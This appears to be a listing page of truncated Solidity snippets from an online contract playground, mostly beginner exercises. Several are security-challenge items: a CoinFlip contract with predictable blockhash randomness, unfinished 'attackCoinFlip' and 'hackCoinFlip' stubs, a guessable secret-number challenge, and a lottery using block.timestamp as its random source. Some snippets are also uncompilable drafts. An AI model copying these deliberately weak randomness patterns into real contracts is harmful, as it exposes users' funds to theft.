    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_2].edge_balances[user_id_1]=balance;
  }
  func
Oct 29, 2021 08:12:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_2].edge_balances[user_id_1]=balance;
  }
  function sendAmount(uint user_id_1,uint user_id_2,uint 
Oct 29, 2021 07:44:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Inbox {
  string public message;

  function Inbox(string initialMessage) public {
    message = initialMessage;
  }

  function setMessage(string newMessage) public {
    message = newMessage;
  }

  function getMessage() public view returns(string) {
    return message;
  }
Oct 29, 2021 06:10:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct User {
    uint user_id;
    string user_name;
    mapping(uint => uint) edges_balances;
    uint[] balances;
  }

  // User[] users;
  mapping(uint => User) registered_users;
  function registerUser(uint user_id, string user_name) public {
    users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 29, 2021 05:33:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct User {
    uint user_id;
    string user_name;
    uint[] joint_accounts;
    uint[] balances;
  }

  User[] users;
  mapping(uint => User) registered_users;
  function registerUser(uint user_id, string user_name) public {
    users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 29, 2021 05:30:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 28, 2021 08:47:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  AssetBytes[] assetBytes;
  AssetString[] assetString;
  
  struct AssetBytes {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  struct AssetString {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  function setBytes() public {
    assetBytes.push(AssetBytes("name1", "device1", "key1", 1));
    assetBytes.push(AssetBytes("name2", "device2", "key2", 2));
    assetBytes.push(AssetBytes("name3", "device3", "key3", 3));
    assetBytes.push(AssetBytes("name4", "device4", "key4", 4));
    assetBytes.push(AssetBytes("name5", "device5", "key5", 5));
  }

  function setString() public {
    assetString.push(AssetString("name1", "device1", "key1", 1));
    assetString.push(AssetString("name2", "device2", "key2", 2));
    assetString.push(AssetString("name3", "device3"
Oct 27, 2021 01:49:10 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  AssetBytes[] assetBytes;
  AssetString[] assetString;
  
  struct AssetBytes {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  struct AssetString {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  function setBytes() public {
    assetBytes.push(AssetBytes("name1", "device1", "key1", 1));
    assetBytes.push(AssetBytes("name2", "device2", "key2", 2));
    assetBytes.push(AssetBytes("name3", "device3", "key3", 3));
    assetBytes.push(AssetBytes("name4", "device4", "key4", 4));
    assetBytes.push(AssetBytes("name5", "device5", "key5", 5));
  }

  function setString() public {
    assetString.push(AssetString("name1", "device1", "key1", 1));
    assetString.push(AssetString("name2", "device2", "key2", 2));
    assetString.push(AssetString("name3", "device3"
Oct 27, 2021 01:44:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {

  Child _child ;

  function Parent(Child child) public {
    _child  = child;
  }
  function call_child() public{
    _child.call_me(msg.sender);
  }

  uint value;
}

contract Child {
  address public _realMsgSender;
  address public _seenMsgSender;

  function call_me(address realMsgSender) public {
    _realMsgSender = realMsgSender;
    _seenMsgSender = msg.sender;
  }

Oct 26, 2021 01:01:59 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 26, 2021 00:26:28 UTC
struct EachMonster{
        string name;
        uint winnings;
        uint losings;
        uint health;
        uint attackPower;
        uint defensePower;
        uint speed;
    } 
    EachMonster[] public monsters; 

    struct Battle {
        uint index;
        uint p1CarId;
        uint scoreToBeat;
        uint p2CarId;
        bool ended;
        uint createdAt;
    }
    Battle[] public battles;

//create battle
    function createBattle (uint _p1CarId) public {
        EachMonster storage m = monsters[_p1CarId];
        require(ownerOf(_p1CarId) == msg.sender);
        uint id = battles.length;
        uint _score = m.attackPower + m.speed;
        battles.push(Battle(id, _p1CarId, _score, 0, false, block.timestamp));
    }
    //accept battle
    function acceptBattle (uint _battleId, uint _p2CarId) public {
        require(ownerOf(_p2CarId) == msg.sender);
        Battle storage b = battles[_battleId];
        b.p2CarId = _p2CarId;
    }
    //end battle
    function endBattle (uint _battleId
Oct 25, 2021 21:23:02 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
Oct 23, 2021 15:20:35 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

contract RogToken {
   string public constant name = "ERC20Basic";
    string public constant symbol = "BSC";
    uint8 public constant decimals = 18;  


    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
    event Transfer(address indexed from, address indexed to, uint tokens);


    mapping(address => uint256) balances;

    mapping(address => mapping (address => uint256)) allowed;
    
    uint256 totalSupply_;
   
Oct 21, 2021 11:38:45 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 14, 2021 14:35:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.3;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  

  
Oct 14, 2021 08:32:39 UTC

pragma solidity ^0.8;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IBAND {
    struct ReferenceData {
        uint256 rate; // base/quote exchange rate, multiplied by 1e18.
        uint256 lastUpdatedBase; // UNIX epoch of the last time when base price gets updated.
        uint256 lastUpdatedQuote; // UNIX epoch of the last time when quote price gets updated.
    }
    function getReferenceData(string memory _base, string memory _quote)
        external
        view
        returns (ReferenceData memory);
}

contract Stable is ERC20 {

    IBAND constant _oracle = IBAND(0x9106F09bF08DFb23fca61A9829543f1C80a81A4b); // Kovan testnet

    constructor() ERC20 ("Stable", "USDS") {
    }

    function mint() public payable {
        uint256 amount = _eth2usd(msg.value);
        require(amount > 0);
        _mint(msg.sender, amount);
    }

    function burn(uint256 amount) public {
        _burn(msg.sender, amount);
        payable(msg.sender).transfer(_usd2eth(amount));
    }

    function
Oct 12, 2021 15:03:54 UTC
pragma solidity ^0.8;

contract Lottery {
    address payable immutable owner = payable(msg.sender);
    uint constant min_bet = 0.001 ether;
    
    event Win();
    event Loose();
    
    function bet(uint heads_or_tails) external payable {
        require(msg.value >= min_bet, "min_bet");
        if (_rand() == heads_or_tails) {
            payable(msg.sender).transfer(msg.value * 2 * 98 / 100);
            emit Win();
        } else {
            emit Loose();
        }
    }
    
    function sweep() external {
        owner.transfer(address(this).balance);
    }
    
    receive() external payable {
    }
    
    function _rand() internal view returns (uint) {
        return uint(block.timestamp) % 2;
    }
Oct 12, 2021 15:02:36 UTC
pragma solidity ^0.8;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";

contract FixedSwap is ERC20 {
    address immutable token1;
    address immutable token2;
    
    uint public revenue;
    
    constructor(address _token1, address _token2, uint i1, uint i2) ERC20 ("FixedSwap", "FSW") {
        require(_token1 != _token2);
        token1 = _token1;
        token2 = _token2;
        SafeERC20.safeTransferFrom(IERC20(_token1), msg.sender, address(this), i1);
        SafeERC20.safeTransferFrom(IERC20(_token2), msg.sender, address(this), i2);
        _mint(msg.sender, i1 + i2);
    }
    
    function mint(address _token, uint amount) external {
        require((_token == token1) || (_token == token2));
        SafeERC20.safeTransferFrom(IERC20(_token), msg.sender, address(this), amount);
        uint cost = 10**8 * totalBalance() / totalSupply();
      
Oct 12, 2021 15:01:40 UTC
pragma solidity ^0.8;

contract Password {
    uint constant withdraw_fine = 0.1 ether;
    address immutable owner = msg.sender;
    
    mapping (bytes32 => uint) balance;
    
    function deposit(bytes32 password_hash) external payable {
        balance[password_hash] += msg.value;
    }
    
    function withdraw(uint amount, string memory password) external payable {
        require(msg.value >= withdraw_fine);
        require(amount > 0);
        bytes32 password_hash = keccak256(bytes(password));
        if (balance[password_hash] >= amount) {
            balance[password_hash] -= amount;
            payable(msg.sender).transfer(amount + msg.value);
        } else {
            // fine for failed withdrawal attempt
            payable(owner).transfer(msg.value);
        }
    }
Oct 12, 2021 14:59:33 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

contract CoinFlip {
    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

contract attackCoinFlip {
    CoinFlip public victimcontract;
Oct 11, 2021 20:56:20 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

 contract attackCoinFlip {
     
    CoinFlip public attackCoinFlip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003
Oct 11, 2021 19:09:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 09, 2021 09:05:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {  
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 05, 2021 21:55:20 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public { 
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 05, 2021 21:55:17 UTC
pragma solidity ^0.4.24;

// Define a contract 'Lemonade Stand'
contract LemonadeStand {

    // Variable: Owner
    address owner;

    // Variable: SKU count
    uint skuCount;

    // Event: 'State' with value 'ForSale'
    enum State { ForSale, Sold }

    // Struct: Item. name, sku, price, state, seller, buyer
    struct Item {
        string  name;
        uint  sku;
        uint  price;
        State  state;
        address  seller;
        address  buyer;
    }

    // Define a public mapping 'items' that maps the SKU (a number) to an Item.
    mapping (uint => Item) items;

    // Events
    event ForSale(uint skuCount);
    event Sold(uint sku);

    // Modifier: Only Owner see if msg.sender == owner of the contract
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    // Define a modifier that verifies the Caller
    modifier verifyCaller (address _address) {
        require(msg.sender == _address);
        _;
    }

    // Define a modifier that checks if the paid 
Oct 05, 2021 05:53:33 UTC
// mustacoin ICO

pragma solidity >=0.4.11;

contract hadcoin_ico {
    // Introducing the mazimum number of hadcoin avaliable for sale
    
    uint public max_hadcoins = 1000000;
    
    // Introducing the USD to hadcoin conversion relocatable
    
    uint public usd_to_hadcoins = 1000;
    
    
    // Introdicing the total number of hadcoin that have been bought by the investors 
    
    uint public total_hadcoins_bought = 0;
    
    // Mapping fropm the investor address to its equity in hadcoins and USD/ the two mapping take the address of the investor and return how many coins and usd value it has
    
    mapping(address => uint) equity_hadcoins;
    
    mapping(address => uint) equity_usd;
    
    // checking if an investor can buy hadcoins, calculate if the investor request is less then the total max amount of couns plus the couns alredy sold
    // inside the modifier we use the require function that first convert the usd in hadcoins and add the sold one and check if the total is <= to the max
Oct 04, 2021 13:51:29 UTC
pragma solidity 0.4.18;

contract A {
  uint16 a = 0;
}

contract B {
  uint256 a = 0;
Sep 30, 2021 21:11:29 UTC
pragma solidity 0.6.12;

contract A {
  uint16 a = 0;
}

contract B {
  uint256 a = 0;
Sep 30, 2021 21:07:04 UTC
pragma solidity ^0.4.18;

contract A {
  uint16 a = 0;
}

contract B {
  uint256 a = 0;
Sep 30, 2021 21:06:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
library Delegations {

    struct Delegation {
        uint256 shares; // nominal amount of shares held by the Delegation
        mapping(address => AccumulatorCheckpoint) accumulatorCheckpoints; // checkpointed accumulators
        uint256 lastUpdate;
    }

    stuct AccumulatorCheckpoint {
      uint256 checkpoint;
      uint256 pendingRewards;
    }

    struct Accumulator {
      mapping(uint256 => uint256) values;
      uint256 lastUpdate;
    }

    /**
     @notice A delegation pool accrues delegator rewards and fees for an orchestrator and handles accounting
     */
    struct Pool {
        uint256 activeShares; 
        uint256 nextShares;
        uint256 lastUpdate;

        uint256 totalStake; // total amount of tokens held by the EarningsPool

        mapping(address => Accumulator) public accumulators; // round => token => accumulator

        mapping(address => Delegation) delegation
Sep 29, 2021 12:59:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
library Delegations {

    struct Delegation {
        uint256 shares; // nominal amount of shares held by the Delegation
        mapping(address => AccumulatorCheckpoint) accumulatorCheckpoints; // checkpointed accumulators
        uint256 lastUpdate;
    }

    stuct AccumulatorCheckpoint {
      uint256 checkpoint;
      uint256 pendingRewards;
    }

    struct Accumulator {
      mapping(uint256 => uint256) values;
      uint256 lastUpdate;
    }

    /**
     @notice A delegation pool accrues delegator rewards and fees for an orchestrator and handles accounting
     */
    struct Pool {
        uint256 activeShares; 
        uint256 nextShares;
        uint256 lastUpdate;

        uint256 totalStake; // total amount of tokens held by the EarningsPool

        mapping(address => Accumulator) public accumulators; // round => token => accumulator

        mapping(address => Delegation) delegation
Sep 29, 2021 12:47:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract Delegations {

    struct Delegation {
        uint256 shares; // nominal amount of shares held by the Delegation
        mapping(address => uint256) accumulatorCheckpoints; // checkpointed accumulators
    }

    struct Accumulator {
      mapping(uint256 => uint256) values;
      uint256 lastUpdate;
    }

    /**
     @notice A delegation pool accrues delegator rewards and fees for an orchestrator and handles accounting
     */
    struct Pool {
        uint256 activeShares; 
        uint256 nextShares;
        uint256 lastUpdate;

        uint256 totalStake; // total amount of tokens held by the EarningsPool

        mapping(address => Accumulator) public accumulators; // round => token => accumulator

        mapping(address => Delegation) delegations;
    }

    function updateShares(Pool storage _pool, uint256 _round) {
      if (_pool.lastUpdate >= _round) {
        return;
      }
Sep 29, 2021 00:02:10 UTC
  
// SPDX-License_Identifier: MIT 

pragma solidity ^0.6.10;



contract StorageFactory is SimpleStorage {
    import "./SimpleStorage.sol"; 
    
    SimpleStorage[] public simpleStorageArray;
    
    function createSimpleStorageContract() public {
        SimpleStorage simpleStorage = new SimpleStorage();
        simpleStorageArray.push(simpleStorage);
    }
Sep 28, 2021 05:23:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 25, 2021 10:20:39 UTC



// SPDX-License-Identifier: MIT

//version solidity
pragma solidity ^0.6.0;

//defining contract
contract simplestorage {
    
    // this will get initialized to 0 (because nothing set)
    uint256 favoriteNumber;
    bool favoriteBool;
    
    
    
    
 struct People {
     uint256 favoriteNumber;
     string name;
     
 }
 
 // array making
 People[] public people;
 //mapp string to uint256 so  fav number(uint256) is connected to string(name)
 mapping(string => uint256) public nameToFavoriteNumber;
 
 
 
    function store(uint256 _favoriteNumber) public {
     favoriteNumber = _favoriteNumber;
     uint256 test = 4;
 }

// view, pure -> reading of the blockchain no statechange so not making an transaction
function retrieve() public view returns(uint256){
     return favoriteNumber;
    
    
}
function addPerson(string memory _name, uint256 _favoriteNumber) public{
people.push(People(_favoriteNumber, _name));
nameToFavoriteNumber[_name] = _favoriteNumber;
}


 
 
Sep 23, 2021 14:14:40 UTC
  
// SPDX-License_Identifier: MIT 

pragma solidity ^0.6.10;



contract StorageFactory is SimpleStorage {
    import "./SimpleStorage.sol"; 
    
    SimpleStorage[] public simpleStorageArray;
    
    function createSimpleStorageContract() public {
        SimpleStorage simpleStorage = new SimpleStorage();
        simpleStorageArray.push(simpleStorage);
    }
Sep 23, 2021 14:13:15 UTC
// SPDX-License-Identifier: GPL

pragma solidity >=0.4.22 <0.9.0;

/**
    Test
 */

contract PoliceleBeniAsuman {
    
  address private policeFonAdress;

  struct ciftciKayit {
    uint256 userID;
    string ciftciIsim;
    string ciftSoyIsim;
    uint256 ciftciTCKN;
    uint256 policeKodu;
    string policeUrunTipi;
    uint256 policeDuzenlenmeTarih; //now methodu
    uint256 policePrimMiktar;
    uint256 AylikPrimTutar;
    uint256 SigortaBedeli; // 15 tl
    uint256 sigortaBaslangicTarihi;
    uint256 sigortaBitisTarihi;
    bool  PoliceOnay;
    address pAddr;

  }


  modifier signOnly {
        require (msg.sender == policeFonAdress);
        _;
    }

  constructor() public {
        policeFonAdress = msg.sender;
  }

  mapping(uint256 => ciftciKayit) public _kayit;
  uint256[] public KayitArr;

      event KayitOlustur(
      uint256 userID,
      uint256 policeKodu, 
      string policeUrunTipi,
      uint256 policeDuzenlenmeTarih,
      uint256 policePrimMiktar,
      uint256 AylikPrimTutar,
     
Sep 22, 2021 00:13:09 UTC
// contracts/Baseballs.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

import "./external/MLBC.sol";

contract Baseballs is Context, ERC20Burnable {
    using BitMaps for BitMaps.BitMap;

    MLBC public _mlbc;

    BitMaps.BitMap private _baseballsBitMap;


    constructor(address mlbcAddress) ERC20("Baseballs", "Baseball") {
        _mlbc = MLBC(mlbcAddress);
    }

    function mint(uint32[] calldata tokenIds) public {
        
        require(tokenIds.length < 1001, "Too many");

        for (uint i=0; i < tokenIds.length; i++) {

            uint32 tokenId = tokenIds[i];

            //Don't mint past the supply at launch.
            require(tokenId < 249173, "Token too high");
            require(tokenId > 0, "Token too low");

            //Validat
Sep 20, 2021 23:26:53 UTC
pragma solidity ^0.4.26;

contract StructSerialization
{
    function StructSerialization()
    {
    }

    event exactUserStructEvent(uint32 staking, string amount);

    //Use only fixed size simple (uint,int) types!
    struct ExactUserStruct
    {
        uint32 staking;
        string amount;
    }

    function showStruct(ExactUserStruct u) private
    {
        exactUserStructEvent(u.staking, u.amount);
    }


    function exactUserStructToBytes(ExactUserStruct u) private
    returns (bytes data)
    {
        // _size = "sizeof" u.staking + "sizeof" u.amount
        uint _size = 4 + bytes(u.amount).length;
        bytes memory _data = new bytes(_size);

        uint counter=0;
        for (uint i=0;i<4;i++)
        {
            _data[counter]=byte(u.staking>>(8*i)&uint32(255));
            counter++;
        }

        for (i=0;i<bytes(u.amount).length;i++)
        {
            _data[counter]=bytes(u.amount)[i];
            counter++;
        }

        return (_data);
    }


    function exactUs
Sep 18, 2021 23:47:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 14, 2021 13:17:34 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract L {
    bytes public letters = 'abcdefghijklmnopqrstuvwxyz';
    
    function getIdx(uint x) private view returns (bytes32 bytedLetter) {
        return letters[x];
    }
    
    function bytes32ToString(bytes32 _bytes32) private pure returns (string memory) {
        uint8 i = 0;
        while(i < 32 && _bytes32[i] != 0) {
            i++;
        }
        bytes memory bytesArray = new bytes(i);
        for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
            bytesArray[i] = _bytes32[i];
        }
        return string(bytesArray);
    }
    
    function getChar(uint x) public view returns (string memory letter) {
        return bytes32ToString(getIdx(x));
    }
Sep 12, 2021 00:58:12 UTC
contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip(0x473985426435A9A348488F926b51daa556B7383B); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {
        //TODO
    }
Sep 11, 2021 13:17:32 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {

  struct Person {
    string name;
    uint[3] numbers;
  }

  Person[] public persons;

  function test () public {
    Person memory x;
    x.name = "Asd";
    x.numbers = [uint(1),2,3];
    persons.push(x);
  }
Sep 11, 2021 09:18:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
  function hexStringArray(String s){
    
  }

  uint value;
Sep 11, 2021 08:39:27 UTC
//
// GuessToWin.solpp
//
// Simple contract allowing anyone to guess secret passwords. If they guess any right, they
// will be awarded an amount of Vite based on the amount funded to the contract.
//
// Contract initially has no rewards balances stored. Any user can create rewards for a guess
// by calling the Fund function and providing the appropriate hash of the secret guess they
// would like to award, along with a patment of the amount of Vite they want to fund the award with.
//
// The hash of the guesses can be generated via the shell command:
// echo -n YOURSECRETPASSWORD | b2sum -l 256
//
// Guesses are submitted by sending a string of the guess to the Guess function. Correct
// guessers are awarded the entire fund for that hash/guess pair
//
// Warning: If you send funds with a hash value of an unknown string, those funds will be
// permanently locked in the contract! Also be warned that all guesses/hashes are logged
// into the ledger, so testing a particular hash/guess combination permanently re
Sep 10, 2021 20:46:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 10, 2021 19:13:25 UTC
pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustAmountForDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   
Sep 10, 2021 09:28:35 UTC
pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustForAmountDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   
Sep 10, 2021 09:26:50 UTC
pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustForDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   
Sep 10, 2021 09:25:14 UTC
pragma solidity ^0.7.1;
pragma experimental ABIEncoderV2;

contract Bio {
	string public name = "Bio";

	address public owner;

	struct UsernameReservation{
		string username; 
		uint256 count; 
		bool exists;
	}
	mapping (string => UsernameReservation) usernameCount;

	struct Username {
		string username;
		uint256 issue;
	}
	mapping (address => Username[]) walletUsernames;
	mapping (string => address) usernameOwnership;

	struct UserBio {
		string description;
		string twitterUsername;
		string location;
	}
	mapping (string => UserBio) bios;

	constructor() {
		owner = msg.sender;
	}

	/**
		START Helpers
	 */
	 function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len;
        while (_i != 0) {
            k = k-1;
            uint8 temp = (48 + uint8(
Sep 10, 2021 03:27:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set( _value) public {
    value = _value;
  }

  function get() public constant returns () {
    return value;
  }

   value;
Sep 09, 2021 06:56:58 UTC
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
Sep 07, 2021 13:56:48 UTC
// SPDX-License-Identifier: MIT

pragma solidity >=0.4.22 <0.9.0;

contract Vault {
    address admin;
    address factory;
    
    /********* CONSTRUCTOR *********/
    
    /**
    Constructor to assign the admin address
    **/
    constructor() {
        admin = msg.sender;
    }
    
    
    /********* MODIFIERS *********/
    
    /**
    Only the admin is given the access
    **/
    modifier onlyAdmin(){
